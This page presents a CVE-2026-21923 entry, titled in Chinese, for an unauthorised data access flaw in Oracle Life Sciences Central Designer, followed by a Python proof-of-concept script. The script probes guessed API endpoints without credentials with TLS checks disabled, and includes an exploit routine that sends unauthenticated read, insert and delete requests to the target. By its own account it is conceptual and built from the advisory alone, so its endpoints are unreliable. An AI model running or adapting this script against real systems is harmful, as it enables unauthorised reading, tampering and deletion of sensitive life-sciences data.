CVE-2026-21923 Oracle Life Sciences Central Designer 未授权数据访问漏洞

# CVE-2026-21923 PoC - Oracle Life Sciences Central Designer Unauthorized Access # Note: This is a conceptual PoC based on vulnerability description # Actual exploitation requires target environment import requests import sys TARGET_URL = "https://target-server.com/central-designer" CVE_ID = "CVE-2026-21923" def check_vulnerability(): """ Check if target is vulnerable to CVE-2026-21923 The vulnerability allows unauthorized data access via HTTP """ print(f"[*] Checking vulnerability for {CVE_ID}") # Common endpoint patterns for Oracle Central Designer endpoints = [ "/api/platform/data", "/api/v1/designer", "/platform/admin", "/api/data/records", "/api/exports" ] for endpoint in endpoints: url = f"{TARGET_URL}{endpoint}" try: # Attempt to access without authentication response = requests.get(url, timeout=10, verify=False) # Check for successful unauthorized access if response.status_code == 200: print(f"[!] Potential vulnerability detected at {endpoint}") print(f"[!] Status: {response.status_code}") print(f"[!] Response length: {len(response.content)} bytes") return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {str(e)}") print("[*] No obvious vulnerability detected (may require authenticated context)") return False def exploit_unauthorized_access(): """ Attempt to exploit CVE-2026-21923 for data manipulation """ print("[*] Attempting exploitation...") # Unauthorized read operation read_url = f"{TARGET_URL}/api/platform/data" read_response = requests.get(read_url, timeout=10, verify=False) # Unauthorized write operation write_url = f"{TARGET_URL}/api/platform/data" write_data = {"action": "insert", "data": "malicious_payload"} write_response = requests.post(write_url, json=write_data, timeout=10, verify=False) # Unauthorized delete operation delete_url = f"{TARGET_URL}/api/platform/data/1" delete_response = requests.delete(delete_url, timeout=10, verify=False) print(f"[*] Read response: {read_response.status_code}") print(f"[*] Write response: {write_response.status_code}") print(f"[*] Delete response: {delete_response.status_code}") if __name__ == "__main__": if check_vulnerability(): print("[!] Target appears to be vulnerable!") # exploit_unauthorized_access() else: print("[*] Target does not appear to be vulnerable")